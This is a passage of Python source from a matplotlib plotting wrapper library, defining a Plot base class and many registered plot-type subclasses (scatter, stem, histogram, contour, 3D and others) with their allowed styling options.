subplot_kw=None,\n                 plot_style=None, theme=None,\n                 **opts\n                 ):\n        \"\"\"\n        :param params: _empty_ or _x_, _y_ arrays or _function_, _xrange_\n        :type params:\n        :param plot_style: the plot styling options to be fed into the plot method\n        :type plot_style: dict | None\n        :param method: the method name as a string or functional form of the method to plot\n        :type method: str | function\n        :param figure: the Graphics object on which to plot (None means make a new one)\n        :type figure: Graphics | None\n        :param axes: the axes on which to plot (used in constructing a Graphics, None means make a new one)\n        :type axes: None\n        :param subplot_kw: the keywords to pass on when initializing the plot\n        :type subplot_kw: dict | None\n        :param colorbar: whether to use a colorbar or what options to pass to the colorbar\n        :type colorbar: None | bool | dict\n        :param opts: options to be fed in when initializing the Graphics\n        :type opts:\n        \"\"\"\n\n        self.graphics = None\n\n        # we're gonna set things up so that we can have delayed evaluation of the plotting.\n        # i.e. a Plot can be initialized but then do all its plotting later\n        if plot_style is None:\n            plot_style = {}\n        for k,v in self.style_mapping.items():\n            if k in opts:\n                opts[v] = opts[k]\n                del opts[k]\n        for k in self.known_styles:\n            if k in opts:\n                plot_style[k] = opts[k]\n                del opts[k]\n        for k in self.default_plot_style:\n            if k not in plot_style:\n                plot_style[k] = self.default_plot_style[k]\n        self._plot_style = plot_style\n        self.plot_opts = opts\n        self._initialized = False\n        self._data = None\n\n        super().__init__(figure=figure, axes=axes, theme=theme, subplot_kw=subplot_kw, **opts)\n        self._init_opts['plot_style'] = plot_style\n        if method is None:\n           method = self.method\n        if isinstance(method, str):\n            method = getattr(self.axes, method)\n        self._method = method\n\n        if len(params) > 0:\n            self.plot(*params)\n\n    known_keys = Graphics.known_keys | {\n        'method',\n        'plot_style',\n        'insert_default_styles'\n    }\n    @classmethod\n    def filter_options(cls, opts, allowed=None):\n        new = {}\n        if allowed is None:\n            allowed = cls.known_styles | cls.known_keys\n        for k in opts.keys() & allowed:\n                new[k] = opts[k]\n        return new\n    def _check_opts(self, opts):\n        diff = opts.keys() - (self.known_styles | self.known_keys)\n        if len(diff) > 0:\n            raise ValueError(\"unknown options for {}: {}\".format(\n                type(self).__name__, list(diff)\n            ))\n\n    def _initialize(self):\n        self._initialized = True\n        self.set_options(**self.plot_opts)\n\n    def _get_plot_data(self, func, xrange):\n        xrange, fvalues = _get_2D_plotdata(func, xrange)\n        return xrange, fvalues\n\n    def _plot_data(self, *data, **plot_style):\n        return self._method(*self._get_plot_data(*data), **plot_style)\n\n    def plot(self, *params, insert_default_styles=True, **plot_style):\n        \"\"\"\n        Plots a set of data & stores the result\n        :return: the graphics that matplotlib made\n        :rtype:\n        \"\"\"\n        if insert_default_styles:\n            plot_style = dict(self.plot_style, **plot_style)\n        self._data = (params, plot_style)\n        self.graphics = self._plot_data(*params, **plot_style)\n        if not self._initialized:\n            self._initialize()\n        return self.graphics\n    @property\n    def artists(self):\n        if self.graphics is None or isinstance(self.graphics, list):\n            return self.graphics\n        else:\n            return [self.graphics]\n\n    # def copy(self):\n    #     return self.change_figure(None)\n    def _change_figure(self, new, *init_args, **init_kwargs):\n        \"\"\"Creates a copy of the object with new axes and a new figure\n\n        :return:\n        :rtype:\n        \"\"\"\n        # print(init_kwargs)\n        # print(self._data[0], init_args)\n        # print(init_kwargs, self._init_opts)\n        return super()._change_figure(new, *self._data[0], *init_args, **init_kwargs)\n\n    def clear(self):\n        \"\"\"\n        Removes the plotted data\n        \"\"\"\n        for g in self.graphics:\n            self.axes.remove(g)\n        self.graphics=None\n    def restyle(self, **plot_style):\n        \"\"\"\n        Replots the data with updated plot styling\n        :param plot_style:\n        :type plot_style:\n        \"\"\"\n        self.clear()\n        self.plot(*self.data, **plot_style)\n\n    @property\n    def data(self):\n        \"\"\"\n        The data that we plotted\n        \"\"\"\n        if self._data is None:\n            raise ValueError(\"{} hasn't been plotted in the first place...\")\n        return self._data[0]\n    @property\n    def plot_style(self):\n        \"\"\"\n        The styling options applied to the plot\n        \"\"\"\n        if self._data is None:\n            style = self._plot_style\n        else:\n            style = self._data[1]\n        return style\n\n    def add_colorbar(self, graphics = None, norm = None,  **kw):\n        \"\"\"\n        Adds a colorbar to the plot\n        \"\"\"\n        if self._initialized:\n            if graphics is None and norm is None:\n                graphics = self.graphics\n            return super().add_colorbar(graphics=graphics, **kw)\n\n    def set_graphics_properties(self, *which, **kw):\n        with self.pyplot as plt:\n            if isinstance(self.graphics, tuple):\n                for n,g in enumerate(self.graphics):\n                    if len(which) == 0 or n in which:\n                        plt.setp(g, **kw)\n            else:\n                plt.setp(self.graphics, **kw)\n\n\n    @classmethod\n    def merge(cls, main, other, *rest, **kwargs):\n        return CompositePlot(main, other, *rest, **kwargs)\n\n    plot_classes = {}\n    @classmethod\n    def resolve_method(cls, mpl_name):\n        return cls.plot_classes[mpl_name]\n    # @classmethod\n    # def merge_plots(cls, *plots, **styles):\n    #     ...\n    @classmethod\n    def register(cls, plot_class):\n        cls.plot_classes[plot_class.method] = plot_class\n        return plot_class\nPlot.register(Plot)\n\nclass CompositePlot:\n    def __init__(self, main, other, *rest, **kwargs):\n        self.kwargs = kwargs\n        self.plots = [main, other, *rest]\n    def merge(self, **kwargs):\n        base = self.plots[0].change_figure(None, **kwargs)\n        for p in self.plots[1:]:\n            p.change_figure(base)\n        return base\n    def show(self, interactive=True):\n        self._ref = self.merge(interactive=interactive, **self.kwargs)\n        # self._ref.pyplot.mpl_connect()\n        self._ref.show()\n    def _ipython_display_(self):\n        self.show()\n\n@Plot.register\nclass FilledPlot(Plot):\n    \"\"\"\n    Inherits from `Plot`.\n    Plots a bunch of x values against a bunch of y values using the `scatter` method.\n    \"\"\"\n    known_styles = { \"where\", \"interpolate\", \"step\", \"data\" } | Plot.patch_parms\n    method = \"fill_between\"\n\n@Plot.register\nclass ScatterPlot(Plot):\n    \"\"\"\n    Inherits from `Plot`.\n    Plots a bunch of x values against a bunch of y values using the `scatter` method.\n    \"\"\"\n    known_styles = { \"s\", \"c\", \"marker\", \"cmap\", \"norm\", \"vmin\", \"vmax\", \"alpha\", \"linewidths\", \"edgecolors\", \"plotnonfinite\", \"data\"}\n    style_mapping = {\"color\":\"c\"}\n    method = \"scatter\"\n\nclass ListScatterPlot(ScatterPlot):\n    \"\"\"\n    Inherits from `Plot`.\n    Plots a bunch of (x, y) points using the `scatter` method.\n    \"\"\"\n    def __init__(self, griddata, **opts):\n        super().__init__(griddata[:, 0], griddata[:, 1], **opts)\n\n@Plot.register\nclass ErrorBarPlot(Plot):\n    \"\"\"\n    Inherits from `Plot`.\n    Plots error bars using the `errorbar` method.\n    \"\"\"\n    known_styles = {\"yerr\", \"xerr\", \"fmt\", \"ecolor\", \"elinewidth\", \"capsize\", \"barsabove\",\n    \"lolims\", \"uplims\", \"xlolims\", \"xuplims\", \"errorevery\", \"capthick\", \"data\"} | Plot.known_styles\n    method = \"errorbar\"\nclass ListErrorBarPlot(ErrorBarPlot):\n    \"\"\"A Plot that pulls the errorbar data from a list\"\"\"\n    def __init__(self, griddata, **opts):\n        super().__init__(griddata[:, 0], griddata[:, 1], **opts)\n\n@Plot.register\nclass StickPlot(Plot):\n    \"\"\"A Plot object that plots sticks\"\"\"\n\n    default_plot_style = {'basefmt': \" \", 'use_line_collection':True, 'markerfmt': \" \"}\n    known_styles = {\"linefmt\", \"markerfmt\", \"basefmt\", \"bottom\", \"label\", \"use_line_collection\", \"orientation\", \"data\", 'color', 'line_style'}\n    method = \"stem\"\n    def plot(self, *params, insert_default_styles=True, **plot_style):\n        \"\"\"\n        Plots a set of data | stores the result\n        :return: the graphics that matplotlib made\n        :rtype:\n        \"\"\"\n        if insert_default_styles:\n            plot_style = dict(self.plot_style, **plot_style)\n        # plot_style = dict(self.plot_style, **plot_style)\n        if 'linewidth' in plot_style:\n            lw = plot_style['linewidth']\n            del plot_style['linewidth']\n        else:\n            lw = None\n        lc = None\n        if 'color' in plot_style:\n            if 'linefmt' in plot_style:\n                raise ValueError(\"modifying linefmt not currently supported\")\n            lc = plot_style['color']\n            del plot_style['color']\n        linefmt = ''\n        if 'line_style' in plot_style:\n            ls = plot_style['line_style']\n            del plot_style['line_style']\n            if ls == 'dashed':\n                if 'linefmt' in plot_style:\n                    raise ValueError(\"modifying passed linefmt not currently supported\")\n                linefmt+=\"--\"\n            elif ls == 'dotted':\n                if 'linefmt' in plot_style:\n                    raise ValueError(\"modifying passed linefmt not currently supported\")\n                linefmt+=\"-.\"\n            plot_style['linefmt'] = linefmt\n        super().plot(*params, insert_default_styles=False, **plot_style)\n        if lw is not None:\n            self.set_graphics_properties(1, linewidth=lw)\n        if lc is not None:\n            self.set_graphics_properties(1, color=lc)\n        return self.graphics\nclass ListStickPlot(StickPlot):\n    \"\"\"A Plot object that plots sticks from a list\"\"\"\n    def __init__(self, griddata, **opts):\n        super().__init__(griddata[:, 0], griddata[:, 1], **opts)\n\n@Plot.register\nclass DatePlot(Plot):\n    method = 'plot_date'\n    known_styles = {'fmt', 'tz', 'xdate', 'ydate', 'data'} | Plot.known_styles\n@Plot.register\nclass StepPlot(Plot):\n    method = 'step'\n    known_styles = {'where', 'data'} | Plot.known_styles\n@Plot.register\nclass LogLogPlot(Plot):\n    method = 'loglog'\n    # known_styles = {}\n@Plot.register\nclass SemiLogXPlot(Plot):\n    method = 'semilogx'\n    # known_styles = {}\n@Plot.register\nclass SemilogYPlot(Plot):\n    method = 'semilogy'\n    # known_styles = {}\n@Plot.register\nclass HorizontalFilledPlot(Plot):\n    method = 'fill_betweenx'\n    known_styles = {'where', 'step', 'interpolate', 'data'} | Plot.patch_parms\n@Plot.register\nclass BarPlot(Plot):\n    method = 'bar'\n    known_styles = {'height', 'width', 'bottom', 'align', 'data'} | Plot.patch_parms\n@Plot.register\nclass HorizontalBarPlot(Plot):\n    method = 'barh'\n    known_styles = {'width', 'height', 'left', 'align'} | Plot.patch_parms\n# @Plot.register\n# class BarLabelPlot(Plot):\n#     method = 'bar_label'\n#     known_styles = {'container', 'labels', 'fmt', 'label_type', 'padding'}  | Plot.patch_parms\n@Plot.register\nclass EventPlot(Plot):\n    method = 'eventplot'\n    known_styles = {'positions', 'orientation', 'lineoffsets', 'linelengths', 'linewidths', 'colors', 'linestyles', 'data'} | Plot.line_params\n@Plot.register\nclass PiePlot(Plot):\n    method = 'pie'\n    known_styles = {'explode', 'labels', 'colors', 'autopct', 'pctdistance',\n                    'shadow', 'labeldistance', 'startangle', 'radius', 'counterclock',\n                    'wedgeprops', 'textprops', 'center', 'frame', 'rotatelabels', 'normalize',\n                    'data'} | Plot.patch_parms\n@Plot.register\nclass StackPlot(Plot):\n    method = 'stackplot'\n    known_styles = {'labels', 'colors', 'baseline', 'data'} | Plot.patch_parms\n@Plot.register\nclass BrokenHorizontalBarPlot(Plot):\n    method = 'broken_barh'\n    known_styles = {'xranges', 'yrange', 'data'} | Plot.patch_parms\n@Plot.register\nclass VerticalLinePlot(Plot):\n    \"\"\"\n    Plots a bunch of vertical lines\n    \"\"\"\n    known_styles = {'ymin', 'ymax', 'colors', 'linestyles', 'label', 'data'} | Plot.line_params\n    method = 'vlines'\n    def _get_plot_data(self, x, y=1.0):\n        if isinstance(y, (int, float)):\n            y = [0, y]\n        return (x, y)\n    def _plot_data(self, *data, **plot_style):\n        x, y = data\n        return self._method(x, *y, **plot_style)\n@Plot.register\nclass HorizontalLinePlot(Plot):\n    \"\"\"\n    Plots a bunch of vertical lines\n    \"\"\"\n    known_styles = {'ymin', 'ymax', 'colors', 'linestyles', 'label', 'data'} | Plot.line_params\n    method = 'vlines'\n    def _get_plot_data(self, y, x=1.0):\n        if isinstance(x, (int, float)):\n            x = [0, x]\n        return (x, y)\n    def _plot_data(self, *data, **plot_style):\n        x, y = data\n        return self._method(x, *y, **plot_style)\n#     known_styles = {'xmin', 'xmax', 'colors', 'linestyles', 'label', 'data'}\n@Plot.register\nclass PolygonPlot(Plot):\n    method = 'fill'\n    known_styles = {'data'} | Plot.patch_parms\n\n@Plot.register\nclass AxisHorizontalLinePlot(Plot):\n    method = 'axhline'\n    known_styles = {'xmin', 'xmax'} | Plot.line_params\n@Plot.register\nclass AxisHorizontalSpanPlot(Plot):\n    method = 'axhspan'\n    known_styles = {'ymin', 'ymax', 'xmin', 'xmax'} | Plot.patch_parms\n@Plot.register\nclass AxisVerticalLinePlot(Plot):\n    method = 'axvline'\n    known_styles = {'ymin', 'ymax'} | Plot.line_params\n@Plot.register\nclass AxisVeticalSpanPlot(Plot):\n    method = 'axvspan'\n    known_styles = {'xmin', 'xmax', 'ymin', 'ymax'} | Plot.patch_parms\n@Plot.register\nclass AxisLinePlot(Plot):\n    method = 'axline'\n    known_styles = {'xy1', 'xy2', 'slope'} | Plot.line_params\n\n@Plot.register\nclass StairsPlot(Plot):\n    method = 'stairs'\n    known_styles = {'values', 'edges', 'orientation', 'baseline', 'fill', 'data'} | Plot.patch_parms\n\n# class ClabelPlot(Plot):\n#     method = 'clabel'\n#     known_styles = {'CS', 'levels'}\n\n\n# class AnnotatePlot(Plot):\n#     method = 'annotate'\n#     known_styles = {'text', 'xy'}\n# class TextPlot(Plot):\n#     method = 'text'\n#     known_styles = {'s', 'fontdict'}\n# class TablePlot(Plot):\n#     method = 'table'\n#     known_styles = {'cellText', 'cellColours', 'cellLoc', 'colWidths', 'rowLabels', 'rowColours', 'rowLoc', 'colLabels', 'colColours', 'colLoc',\n#                     'loc', 'bbox', 'edges'}\n# class ArrowPlot(Plot):\n#     method = 'arrow'\n#     known_styles = {'dx', 'dy'}\n# class InsetAxesPlot(Plot):\n#     method = 'inset_axes'\n#     known_styles = {'bounds', 'transform', 'zorder'}\n# class IndicateInsetPlot(Plot):\n#     method = 'indicate_inset'\n#     known_styles = {'bounds', 'inset_ax', 'transform', 'facecolor', 'edgecolor', 'alpha', 'zorder'}\n# class IndicateInsetZoomPlot(Plot):\n#     method = 'indicate_inset_zoom'\n#     known_styles = {'inset_ax'}\n# class SecondaryXaxisPlot(Plot):\n#     method = 'secondary_xaxis'\n#     known_styles = {'location', 'functions'}\n# class SecondaryYaxisPlot(Plot):\n#     method = 'secondary_yaxis'\n#     known_styles = {'location', 'functions'}\n# class BarbsPlot(Plot):\n#     method = 'barbs'\n#     known_styles = {'data'}\n\n\n######################################################################################################\n#\n#                                    Pure Data Plots on 2D Axes\n#\n#\nclass DataPlot(Plot):\n    \"\"\"\n    Makes a 2D plot of arbitrary data using a plot method that handles that data type\n    \"\"\"\n    image_params = {'cmap', 'norm', 'aspect', 'interpolation', 'alpha', 'vmin', 'vmax', 'origin',\n                    'extent', 'interpolation_stage', 'filternorm', 'filterrad', 'resample', 'url', 'data'}\n    def __init__(self,\n                 *params,\n                 plot_style=None, method=None,\n                 figure=None, axes=None, subplot_kw=None,\n                 colorbar=None,\n                 **opts\n                 ):\n        \"\"\"\n        :param params: _empty_ or _data_\n        :type params:\n        :param plot_style: the plot styling options to be fed into the plot method\n        :type plot_style: dict | None\n        :param method: the method name as a string\n        :type method: str\n        :param figure: the Graphics object on which to plot (None means make a new one)\n        :type figure: Graphics | None\n        :param axes: the axes on which to plot (used in constructing a Graphics, None means make a new one)\n        :type axes: None\n        :param subplot_kw: the keywords to pass on when initializing the plot\n        :type subplot_kw: dict | None\n        :param colorbar: whether to use a colorbar or what options to pass to the colorbar\n        :type colorbar: None | bool | dict\n        :param opts: options to be fed in when initializing the Graphics\n        :type opts:\n        \"\"\"\n        super().__init__(*params,\n                         plot_style=plot_style, method=method,\n                         colorbar=colorbar, figure=figure,\n                         axes=axes, subplot_kw=subplot_kw,\n                         **opts\n                         )\n    def _get_plot_data(self, data):\n        return data,\n\n@Plot.register\nclass HistogramPlot(DataPlot):\n    \"\"\"\n    Makes a Histogram of data\n    \"\"\"\n    method = 'hist'\n    known_styles = {'bins', 'range', 'density', 'weights', 'cumulative',\n                    'bottom', 'histtype', 'align', 'orientation', 'rwidth', 'log', 'color',\n                    'label', 'stacked', 'data'}\n\n@Plot.register\nclass HistogramPlot2D(DataPlot):\n    \"\"\"\n    Makes a 2D histogram of data\n    \"\"\"\n    method = 'hist2d'\n    known_styles = {'bins', 'range', 'density', 'weights', 'cmin', 'cmax', 'data'}\n\n@Plot.register\nclass SpectrogramPlot(DataPlot):\n    method = 'specgram'\n    known_styles = {'NFFT', 'Fs', 'Fc', 'detrend', 'window', 'noverlap',\n                    'cmap', 'xextent', 'pad_to', 'sides', 'scale_by_freq', 'mode', 'scale', 'vmin',\n                    'vmax', 'data'} | DataPlot.image_params\n@Plot.register\nclass AutocorrelationPlot(DataPlot):\n    method = 'acorr'\n    known_styles = {'detrend', 'normed', 'usevlines', 'maxlags', 'linestyle', 'marker', 'data'} | Plot.known_styles\n@Plot.register\nclass AngleSpectrumPlot(DataPlot):\n    method = 'angle_spectrum'\n    known_styles = {'Fs', 'Fc', 'window', 'pad_to', 'sides', 'data'}  | Plot.patch_parms\n@Plot.register\nclass CoherencePlot(DataPlot):\n    method = 'cohere'\n    known_styles = {'NFFT', 'Fs', 'Fc', 'noverlap', 'pad_to', 'sides', 'scale_by_freq', 'data'} | Plot.known_styles\n@Plot.register\nclass CrossSpectralDensityPlot(DataPlot):\n    method = 'csd'\n    known_styles = {'NFFT', 'Fs', 'Fc', 'detrend', 'window', 'noverlap', 'pad_to', 'sides', 'scale_by_freq', 'return_line', 'data'}  | Plot.known_styles\n@Plot.register\nclass MagnitudeSpectrumPlot(DataPlot):\n    method = 'magnitude_spectrum'\n    known_styles = {'Fs', 'Fc', 'window', 'pad_to', 'sides', 'scale', 'data'} | Plot.known_styles\n@Plot.register\nclass PhaseSpectrumPlot(DataPlot):\n    method = 'phase_spectrum'\n    known_styles = {'Fs', 'Fc', 'window', 'pad_to', 'sides', 'data'} | Plot.known_styles\n@Plot.register\nclass PowerSpectralDensityPlot(DataPlot):\n    method = 'psd'\n    known_styles = {'NFFT', 'Fs', 'Fc', 'detrend', 'window', 'noverlap', 'pad_to', 'sides', 'scale_by_freq', 'return_line', 'data'} | Plot.known_styles\n@Plot.register\nclass CrossCorrelationPlot(DataPlot):\n    method = 'xcorr'\n    known_styles = {'normed', 'usevlines', 'maxlags', 'data', 'linestyle', 'marker'} | Plot.known_styles\n@Plot.register\nclass BoxPlot(DataPlot):\n    method = 'boxplot'\n    known_styles = {'notch', 'sym', 'vert', 'whis', 'positions', 'widths',\n                    'patch_artist', 'bootstrap', 'usermedians', 'conf_intervals', 'meanline',\n                    'showmeans', 'showcaps', 'showbox', 'showfliers', 'boxprops', 'labels',\n                    'flierprops', 'medianprops', 'meanprops', 'capprops', 'whiskerprops',\n                    'manage_ticks', 'autorange', 'zorder', 'data'}\n@Plot.register\nclass ViolinPlot(DataPlot):\n    method = 'violinplot'\n    known_styles = {'dataset', 'positions', 'vert', 'widths', 'showmeans',\n                    'showextrema', 'showmedians', 'quantiles', 'points', 'bw_method', 'data'}\n# class ViolinPlot(Plot):\n#     method = 'violin'\n#     known_styles = {'vpstats', 'positions', 'vert', 'widths', 'showmeans',\n#                     'showextrema', 'showmedians'}\n@Plot.register\nclass BoxAndWhiskerPlot(DataPlot):\n    method = 'bxp'\n    known_styles = {'bxpstats', 'positions', 'widths', 'vert', 'patch_artist',\n                    'shownotches', 'showmeans', 'showcaps', 'showbox', 'showfliers', 'boxprops',\n                    'whiskerprops', 'flierprops', 'medianprops', 'capprops', 'meanprops',\n                    'meanline', 'manage_ticks', 'zorder'}\n@Plot.register\nclass HexagonalHistogramPlot(DataPlot):\n    method = 'hexbin'\n    known_styles = {'C', 'gridsize', 'bins', 'xscale', 'yscale', 'extent', 'cmap', 'norm', 'vmin',\n                    'vmax', 'alpha', 'linewidths', 'edgecolors', 'mincnt', 'marginals', 'data', 'reduce_C_function'} | Plot.patch_parms\n\n@Plot.register\n@Plot.register\nclass QuiverPlot(DataPlot):\n    method = 'quiver'\n    known_styles = {\"units\", \"angles\", \"scale\", \"scale_units\", \"width\", \"headwidth\", \"headlength\",\n                    \"headaxislength\", \"minshaft\", \"minlength\", \"pivot\", \"color\", \"data\"} | Plot.patch_parms\n@Plot.register\nclass StreamPlot(DataPlot):\n    method = 'streamplot'\n    known_styles = {'density', 'linewidth', 'color', 'cmap', 'norm',\n                    'arrowsize', 'arrowstyle', 'minlength', 'transform', 'zorder', 'start_points',\n                    'maxlength', 'integration_direction', 'data'}\n\n@Plot.register\nclass ArrayPlot(DataPlot):\n    \"\"\"\n    Plots an array as an image\n    \"\"\"\n\n    method = 'imshow'\n    known_styles = DataPlot.image_params\n    def __init__(self, *params,\n                 plot_style=None, colorbar=None,\n                 figure=None, axes=None, subplot_kw=None,\n                 **opts\n                 ):\n        super().__init__(*params,\n                         plot_style=plot_style,\n                         colorbar=colorbar, figure=figure,\n                         axes=axes, subplot_kw=subplot_kw,\n                         **opts\n                         )\n    def _get_plot_data(self, data):\n        if hasattr(data, 'toarray'):\n            data = data.toarray()\n        return data,\n@Plot.register\nclass MatrixPlot(ArrayPlot):\n    method = 'matshow'\n@Plot.register\nclass SparsityPlot(ArrayPlot):\n    method = 'spy'\n    known_styles = {'precision', 'marker', 'markersize', 'aspect', 'origin'} | ArrayPlot.known_styles\n\nclass TensorPlot(GraphicsGrid):\n    \"\"\"\n    Plots slices of a tensor as a grid\n    \"\"\"\n    def __init__(self, tensor,\n                 nrows=None, ncols=None,\n                 plot_style=None, colorbar=None,\n                 figure=None, axes=None, subplot_kw=None,\n                 method='imshow',\n                 **opts\n                 ):\n        from operator import mul\n        from functools import reduce\n        tensor_shape = tensor.shape\n        total_dim = reduce(mul, tensor_shape[:-2], 1)\n        if nrows is None or ncols is None:\n            if len(tensor_shape) == 3:\n                nrows = 1\n                ncols = tensor_shape[0]\n            elif len(tensor_shape) == 4:  # best case\n                nrows, ncols = tensor_shape[:2]\n            else:\n                if nrows is not None:\n                    ncols = total_dim // nrows\n                elif ncols is not None:\n                    nrows = total_dim // ncols\n                else:\n                    ncols = 5\n                    nrows = total_dim // ncols\n        super().__init__(nrows=nrows, ncols=ncols,\n                         figure=figure,\n                         axes=axes,\n                         subplot_kw=subplot_kw\n                         )\n\n        tensor = tensor.reshape((total_dim,) + tensor_shape[-2:])\n        for i in range(nrows):\n            for j in range(ncols):\n                graphics = self.axes[i][j]\n                self.axes[i][j] = ArrayPlot(\n                    tensor[nrows * i + j],\n                    figure=graphics,\n                    plot_style=plot_style,\n                    colorbar=colorbar,\n                    method=method,\n                    **opts\n                )\n\n######################################################################################################\n#\n#                                    3D Plots on 2D Axes\n#\n#\n\nclass Plot2D(Plot):\n    \"\"\"\n    A base class for plots of 3D data but plotted on 2D axes\n    \"\"\"\n    known_styles = {\"corner_mask\", \"colors\", \"alpha\", \"cmap\", \"norm\", \"vmin\", \"vmax\", \"origin\",\n                    \"extent\", \"locator\", \"extend\", \"xunits, yunits\", \"antialiased\", \"nchunk\",\n                    \"linewidths\", \"linestyles\", \"hatches\", \"data\"}\n    method='contour'\n    def __init__(self, *params,\n                 plot_style=None,\n                 colorbar=None,\n                 figure=None,\n                 axes=None,\n                 subplot_kw=None,\n                 **opts\n                 ):\n        \"\"\"\n        :param params: either _empty_ or _x_, _y_, _z_ arrays or _function_, _xrange_, _yrange_\n        :type params:\n        :param plot_style: the plot styling options to be fed into the plot method\n        :type plot_style: dict | None\n        :param method: the method name as a string\n        :type method: str\n        :param figure: the Graphics object on which to plot (None means make a new one)\n        :type figure: Graphics | None\n        :param axes: the axes on which to plot (used in constructing a Graphics, None means make a new one)\n        :type axes: None\n        :param subplot_kw: the keywords to pass on when initializing the plot\n        :type subplot_kw: dict | None\n        :param colorbar: whether to use a colorbar or what options to pass to the colorbar\n        :type colorbar: None | bool | dict\n        :param opts: options to be fed in when initializing the Graphics\n        :type opts:\n        \"\"\"\n        super().__init__(*params,\n                         plot_style=plot_style,\n                         colorbar=colorbar, figure=figure,\n                         axes=axes, subplot_kw=subplot_kw,\n                         **opts\n                         )\n    def _get_plot_data(self, func, xrange, yrange):\n        return _get_3D_plotdata(func, xrange, yrange)\n@Plot.register\nclass ContourPlot(Plot2D):\n    method = 'contourf'\n    known_styles = {\"triangles\", \"mask\", \"levels\", \"colors\",\n                    \"alpha\", \"cmap\", \"norm\", \"vmin\", \"vmax\", \"origin\", \"extent\", \"locator\", \"extend\",\n                    \"xunits, yunits\", \"antialiased\", \"linewidths\", \"linestyles\"}\n@Plot.register\nclass DensityPlot(Plot2D):\n    method = 'pcolormesh'\n    known_styles = {'alpha', 'norm', 'cmap', 'vmin', 'vmax', 'shading', 'antialiased', 'data'} | Plot.patch_parms\n@Plot.register\nclass HeatmapPlot(Plot2D):\n    method = 'pcolor'\n    known_styles = {'shading', 'alpha', 'norm', 'cmap', 'vmin', 'vmax', 'data'} | ArrayPlot.known_styles\n@Plot.register\nclass TriPlot(Plot2D):\n    \"\"\"A Plot object that plots a triangulation bars\"\"\"\n    method = 'triplot'\n    known_styles = {\"triangles\", \"mask\"} | Plot.known_styles\nclass ListTriPlot(Plot2D):\n    \"\"\"A Plot that pulls the triangulation data from a list\"\"\"\n    def __init__(self, griddata, **opts):\n        super().__init__(griddata[:, 0], griddata[:, 1], **opts)\n@Plot.register\nclass TriDensityPlot(Plot2D):\n    method = 'tripcolor'\n    known_styles = {'alpha', 'norm', 'cmap', 'vmin', 'vmax', 'shading', 'facecolors'}\n@Plot.register\nclass TriContourLinesPlot(Plot2D):\n    method = 'tricontour'\n    known_styles = {\"triangles\", \"mask\", \"levels\", \"colors\",\n                    \"alpha\", \"cmap\", \"norm\", \"vmin\", \"vmax\", \"origin\", \"extent\", \"locator\", \"extend\",\n                    \"xunits, yunits\", \"antialiased\", \"linewidths\", \"linestyles\"}\n@Plot.register\nclass TriContourPlot(Plot2D):\n    method = 'tricontourf'\n    known_styles = {\"triangles\", \"mask\", \"levels\", \"colors\",\n                    \"alpha\", \"cmap\", \"norm\", \"vmin\", \"vmax\", \"origin\", \"extent\", \"locator\", \"extend\",\n                    \"xunits, yunits\", \"antialiased\", \"hatches\"}\n\nclass ListPlot2D(Plot2D):\n    \"\"\"\n    Convenience class that handles the interpolation first\n    \"\"\"\n    def __init__(self,\n                 *params,\n                 plot_style=None,\n                 method='contour',\n                 colorbar=None,\n                 figure=None,\n                 axes=None,\n                 subplot_kw=None,\n                 interpolate=True,\n                 **opts\n                 ):\n        \"\"\"\n        :param params: either _empty_ or and array of (_x_, _y_, _z_) points\n        :type params:\n        :param plot_style: the plot styling options to be fed into the plot method\n        :type plot_style: dict | None\n        :param method: the method name as a string\n        :type method: str\n        :param figure: the Graphics object on which to plot (None means make a new one)\n        :type figure: Graphics | None\n        :param axes: the axes on which to plot (used in constructing a Graphics, None means make a new one)\n        :type axes: None\n        :param subplot_kw: the keywords to pass on when initializing the plot\n        :type subplot_kw: dict | None\n        :param colorbar: whether to use a colorbar or what options to pass to the colorbar\n        :type colorbar: None | bool | dict\n        :param interpolate: whether to interpolate the data or not\n        :type interpolate: bool\n        :param opts: options to be fed in when initializing the Graphics\n        :type opts:\n        \"\"\"\n        self.interpolate = interpolate\n        super().__init__(*params,\n                         plot_style=plot_style, method=method,\n                         colorbar=colorbar, figure=figure,\n                         axes=axes, subplot_kw=subplot_kw,\n                         **opts\n                         )\n\n    def _get_plot_data(self, *griddata, interpolate=None):\n        if interpolate is None:\n            interpolate = self.interpolate\n        if len(griddata) == 3:\n            x, y, z = griddata\n        elif interpolate:\n            x, y, z = _interp2DData(griddata[0])\n        else:\n            x = griddata[0][:, 0]\n            y = griddata[0][:, 1]\n            z = griddata[0][:, 2]\n\n        return (x, y, z)\n\nclass ListContourPlot(ContourPlot):\n    _get_plot_data = ListPlot2D._get_plot_data\nclass ListDensityPlot(DensityPlot):\n    _get_plot_data = ListPlot2D._get_plot_data\nclass ListTriContourPlot(TriContourPlot):\n    _get_plot_data = ListPlot2D._get_plot_data\nclass ListTriDensityPlot(TriDensityPlot):\n    _get_plot_data = ListPlot2D._get_plot_data\n\n\n######################################################################################################\n#\n#                                    3D Plots on 3D Axes\n#\n#\nclass Plot3D(Graphics3D):  # basically a mimic of the Plot class but inheriting from Graphics3D\n    \"\"\"A base class for 3D plots\"\"\"\n\n    default_plot_style = {}\n    style_mapping = {\"format\": \"fmt\"}\n    known_styles = {\"fmt\"} | Plot.line_params\n    method = 'plot_surface'\n    def __init__(self, *params,\n                 plot_style=None,\n                 method=None, colorbar=None,\n                 figure=None, axes=None, subplot_kw=None,\n                 **opts\n                 ):\n        \"\"\"\n        :param params: either _empty_ or _x_, _y_, _z_ arrays or _function_, _xrange_, _yrange_\n        :type params:\n        :param plot_style: the plot styling options to be fed into the plot method\n        :type plot_style: dict | None\n        :param method: the method name as a string\n        :type method: str\n        :param figure: the Graphics object on which to plot (None means make a new one)\n        :type figure: Graphics | None\n        :param axes: the axes on which to plot (used in constructing a Graphics, None means make a new one)\n        :type axes: None\n        :param subplot_kw: the keywords to pass on when initializing the plot\n        :type subplot_kw: dict | None\n        :param colorbar: whether to use a colorbar or what options to pass to the colorbar\n        :type colorbar: None | bool | dict\n        :param opts: options to be fed in when initializing the Graphics\n        :type opts:\n        \"\"\"\n\n        super().__init__(figure=figure, axes=axes, subplot_kw=subplot_kw)\n        if method is None:\n           method = self.method\n        if isinstance(method, str):\n            method = getattr(self.axes, method)\n        self._method = method\n\n        # we're gonna set things up so that we can have delayed evaluation of the plotting.\n        # i.e. a Plot3D can be initialized but then do all its plotting later\n        if plot_style is None:\n            plot_style = {}\n        for k,v in self.style_mapping.items():\n            if k in opts:\n                opts[v] = opts[k]\n                del opts[k]\n        for k in self.known_styles:\n            if k in opts:\n                plot_style[k] = opts[k]\n        for k in self.default_plot_style:\n            if k not in plot_style:\n                plot_style[k] = self.default_plot_style[k]\n        self._plot_style = plot_style\n        self.plot_style = plot_style\n        